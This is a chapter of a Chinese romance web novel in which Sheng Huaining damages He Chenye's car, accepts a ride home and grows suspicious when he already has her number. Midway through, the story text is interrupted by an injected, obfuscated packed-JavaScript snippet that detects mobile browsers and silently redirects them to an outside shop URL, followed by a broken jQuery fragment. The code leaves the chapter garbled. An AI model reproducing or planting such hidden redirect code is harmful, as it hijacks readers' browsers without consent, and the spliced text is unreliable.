2. 别吵02
    盛怀宁踩着一双秀款宝石丝绒高跟鞋,足有十厘米。

    话音一落,她踉跄着往后挪了一步。

    余光瞥到她动作时,男人刚迈上电动踏板的那只脚倏地收回放下,连带着一直抄在口袋里的右手也下意识拿了出来,又很快垂在身侧蜷握起来。

    两人之间距离咫尺,盛怀宁自然也察觉到了男人的小动作。

    她皱了皱眉,再度眼前一黑差点栽过去。

    盛怀宁发誓,她一开始只是想要斥责男人没风度、没礼貌。

    分明先让侍应生叫她出来,结果见到她并在她主动搭话时竟如此冷眼旁观。

    方才,是冲动使然。

    她抓紧手里的包带,指节微微泛白,稍缓了缓,才赧然着支支吾吾:“我...那个...你的车子好像被我包包上面的坠饰刮花了。”

    沉默了半刻,男人原本直视着她的视线挪开。

    隽秀温雅的面庞,不露声色地勾起一抹淡笑,眸光都跟着亮了不少。

    对面的人一直不吭声,盛怀宁颊边因为尴尬浮出的酡红经久未散。

    她再开口时已方寸不乱,“不方便的话,稍晚点我让助理联系你。”

    周全又不会让人觉得唐突的一句话,男人却笑容顿失,眼波转动,修长的手指探入口袋摸出名片夹,自最下面抽出一张递了出来。

    盛怀宁滞了下,很快接过,心里默念。

    ——百信证券,副总裁,首席风险官,贺尘晔。

    不知不觉间,夜色悄然来临,霓虹朦胧璀璨。

    中环作为city walk最热门的出片地,此时人来人往,车流涌动。

    贺尘晔环顾四周,阔步到盛怀宁的面前,声音轻着,吐出的热息几乎要扑在她的面上,“这是我的私人号码,有关赔偿的事宜还得劳烦小姐亲自联系我。”

    离得近了,盛怀宁长睫一扫,仿若能看清男人皮肤上细小的绒毛,同时也因这陡然靠近微微屏息。

    相对而立的时间过久。

    盛怀宁把玩着手里的名片,贺尘晔则老神在在地摘掉了两边的铂金宝石袖扣。

    气氛在这时有一瞬间的微妙,被悄无声息靠近的陈寰所打破。

    探究的眼神在两人之间打量着,陈寰指尖夹着请柬,顺势塞入到了盛怀宁敞着的包中。

    语气多了点调笑,撂下四个字,“记得要来。”

    盛怀宁睇了一眼,突然觉得很没意思,方才的兴致烟消云散。

    看着陈寰驱车离开后,她冲着对面的男人礼貌颔首,继而抬脚上了自己的车。

    岂料车钥匙一分为二插入后,却迟迟无法正常启动,连带着点火的声音都变得闷响。

    盛怀宁不免有些恼了。

    自回到港城,没有一件事情是顺心的,竟连送去保养才刚拿回来不久的车子都跟着欺负她。

    她吞咽了下,缓着心口的郁气,下巴略抬倚回了定制座椅。

    凑巧,她看见了一旁还未离开的人,目光就落在她身上。

    黑压压的天,阴霾沉沉地盖着,加上挡风玻璃上又落了一层枝叶,像是一张巨大的网,把人罩在其中,让盛怀宁看不清那眼底究竟是何情绪。

    她偏过头,下一秒,副驾驶那边的车窗突然被敲响。

    车窗降下时,风裹着湿气钻进来,让盛怀宁不禁瑟缩了下。

    她抿着唇,与外边的人对视时眼皮颤动,“还有事?”

    贺尘晔背在身后的那只手攥紧,另一只则拨开了躬身时掉下来的碎发,低声:“需不需要帮你叫拖车?或者,不介意的话我送你一程。”

    盛怀宁脑袋发懵,搭在方向盘上的手来回摩挲着。

    为了使自己看起来没那么狼狈,语气不卑不亢,“谢谢,不用,手机电量、信号都充足。”

    “那好,打扰了。”

    ???

    话音越来越小,盛怀宁往前伏下身,仅能看见男人毫不犹豫离开的背影。

    她心跳骤停一拍,先是被无视,又被戏弄。

    饶是再好的性子也要忍不下去了。

    她推门下去后又羞又恼,组织好的语言却莫名其妙跑偏了,“喂,你...你送送我。”

    半明半暗的路灯下,贺尘晔眸又深邃了些,半勾起唇。

    -

    车子穿过闹区终于平稳缓速行驶起来。

    车厢内一片静谧,盛怀宁本就跳脱,这会儿只觉得分秒难捱。

    眼神时不时瞥向各个角落,几乎要牢记下来车饰的所有品牌。

    她松开手里的包,任其掉到角落,懒洋洋敛眸。

    余光里,后排的航空座椅上整齐摆放着好几个颜色雪白的玩偶。

    款式、规格都是相同的。

    脖颈扎着荧光粉蝴蝶结的猫咪,正傲娇蛮横地仰着头,眼睛眯起,双颊氤着淡粉。

    盛怀宁睨了眼身旁专心开车的人,挽起的袖口露出半截精壮的手臂,点缀着的领带夹、胸针,还有摘下来丢在扶手箱上的袖扣,都是与穿着相得益彰的简约款。

    她扯了扯唇,感慨如此板正的人竟会在车内放这么少女心的东西。

    “路程大约还得半个多钟,要听音乐可以自己操作。”

    贺尘晔察觉到她不自在的目光,趁着车速慢下来的空隙滑动了下曲面屏,很贴心地替她调出了界面。

    盛怀宁指尖一触,径自打开了电台。

    伴着播音员优美悦耳的声音,周围的空气逐渐变得清新起来,非常舒服。

    盛怀宁假装不经意地拢了下裙摆,使自己的主动搭话不显刻意,“Bubblu的玩偶你居然抢到了那么多,我记得是全球限量的。”

    “什么?”

    贺尘晔没听清,问了句。

    “那个,”她指了下,“是我给N·Star餐厅vic客户设计的福利玩偶,一人只能拿到一个,后来线上发售也只有一千个。”

    贺尘晔从内后视镜看了眼后排,有几个刚刚在过急弯时滚落下来,其余则被甩到了角落。

    他如实回了句,“小姑娘喜欢,托朋友抢的。”

    “喔。”

    盛怀宁闻言顿时老实起来,顺手扯回冷落了许久的包,散漫靠着的腰背挺直,拘束、规矩。

    似是不放心,她又不露痕迹地低头,去嗅衣袖上的残香。

    好在留香不久,如若被身旁这人顺嘴透露的那个小姑娘闻到了,恐会带来不少麻烦。

    再次安静下来。

    就在她以为两个人会就此沉默到目的地时,一道醇厚温润的男嗓轻轻拂过她的耳畔。

    他说:“设计得很好。”

    盛怀宁猛地抬头,心生不适。

    有了费心讨好的人,这会儿又面不改色地突然恭维她。

    这么游刃有余,说一句衣冠禽兽也不为过。

    她无声轻哼了下,不甘居于下风,忙怪笑着搭腔,“是吧是吧,当时刚上线就被一抢而空,不少顾客还去餐厅的官博下面哭求。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571536|142913||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    红灯,车缓慢停下。

    贺尘晔扭头看向旁边的人,笑意盈盈说话时面色红润了许多,衬得那小巧的红唇愈发娇艳欲滴。

    盛怀宁全然没注意到,还在絮絮叨叨说个不停。

    炫耀完自己的技术,又开始安利自己给餐厅设计的其他作品。

    她迟缓地反应过来,撞上视线后眨了眨眼睛,后知后觉车子已经驶入维港附近。

    当下,盛怀宁仿佛直接望到了贺尘晔的眼底,内里意味不明,不止温柔到能掐出水,还黏糊到让人忍不住深陷其中。

    她愣了下,立刻决定待会儿分开后就赔偿这件事,还是交给助理或者罗经纪来办更为稳妥。

    不消片刻,车子驶入地下车库,停在了靠电梯的车位上。

    她触碰按键开门,回过身,声音听起来有种公事公办的味道,“我拨通电话给你,你记一下号码,后续如果对赔偿不满意可以随时联系我。”

    话毕,贺尘晔迟迟没出声。

    反倒在她对着名片拨号时才急道:“你先...”

    别字还没吐出口,放在扶手箱充电的手机先一秒响起。

    悦耳的铃声和嗡嗡的振动过于强烈,惹得盛怀宁惊悸不已。

    她瞥过去,男人很迅速拿起并按压侧边键静音。

    可偏偏,盛怀宁还是看见了贺尘晔掩在掌心下亮着的手机屏幕。

    她不太确定,问:“你是...已经有了我的号码?”

    “S、H、N,”她强装镇定,一字一顿,“刚好是我名字的首字母。”

    不是心悸,不是兴奋,盛怀宁只觉得浑身上下凉飕飕的,好似今夜所发生的种种都不是巧合,而是有预谋性的。

    她防备着往旁侧挪了下身子,“你到底是谁?有什么目的?”

    除却几秒钟前慌乱了短瞬,贺尘晔又恢复到了一贯的冷静和沉着,想要安抚她而伸出的手臂滞在半空中。

    他眉尾一抬,将她整个人罩在自己的视野里,“盛小姐不必惊慌,一年前我们曾在N·Star开业酒会上见过。”

    “是吗?我怎么没有印象?”她依旧心有余悸,不敢掉以轻心。

    “而且你刚刚怎么不说?”她又问。

    “一件微不足道的小事,更何况盛小姐已经忘记,我又何必主动提起,徒增尴尬。”

    贺尘晔把持着分寸,却还是让盛怀宁窘到一言不发。

    他语气放松了些,“很晚了,上去吧。”

    盛怀宁双手交握在一起,还是警惕的样子,只点点头应了下。

    她踩着踏板跳下车,埋着头进了侯梯厅等着,期间完全不敢回头望一眼。

    显示屏上的数字终于降至负一层,梯门缓缓朝两边打开。

    她长舒了口气迈进去,一转身倏地睁大了眼睛。

    跟贺尘晔视线交汇的这几秒,盛怀宁不再似之前那般自作多情,忙问:“你...你也住这里?”

    观维港夜景的这套大平层,是她众多房产里的其中一套,大学后才入住得多了些。

    那时她才18岁,从未参加过任何集团晚宴和企业酒会,不可能跟贺尘晔有交集。

    下一秒,男人终于解她所惑,“是我一个月前来港城后公司提供的住处。”

    稍作停顿,盛怀宁僵硬一笑,“那还挺巧的。”

    贺尘晔一怔,借着头顶的白炽灯居高临下地瞧着眼前的人。

    他想都没想就摇头,嘴上不由自主感慨:“是事在人为。”